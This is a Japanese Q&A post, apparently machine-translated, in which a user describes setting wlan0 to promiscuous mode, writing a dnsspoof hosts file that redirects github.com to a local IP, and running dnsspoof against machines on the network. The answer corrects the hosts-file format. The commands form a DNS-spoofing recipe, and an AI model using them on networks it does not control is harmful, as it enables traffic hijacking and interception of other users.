DNSスプーフィングについて調べようとしてもうまくいきません。これが私がすることです。ステップ1:次のコマンドを使用してネットワークカードをpromiscモードに変換します。
ifconfig wlan0 promisc
ステップ2:/usr/share/dsniff/dnsspoof.hostsというdnsspoof用のホストファイルを作成します(dnsspoofのマニュアルページで推奨)。これが私がファイルに入れたものです。
github.com 192.168.1.102
*.github.com 192.168.1.102
www.github.com 192.168.1.102
ステップ3:次のコマンドを使用してdnsspodを実行します。
dnsspoof -i wlan0 -f /usr/share/dsniff/dnsspoof.hosts
すべてが大丈夫に見えますが、私のコンピュータやネットワーク上の他のコンピュータからgithubにアクセスしようとするたびに、指定されたアドレス192.168.1.102に到達しません。
答え1
ファイルdnsspoof.hosts
が正しくありません。マニュアルページをもう一度読んでください -hosts
フォーマットが必要であることがはっきりしています。
hosts
(5) 形式でファイルのパス名を指定します。ホスト名にはワイルドカードを含めることができますが、たとえば、1*.doubleclick.net
行に1つのホスト名しか許可されません(エイリアスなし)。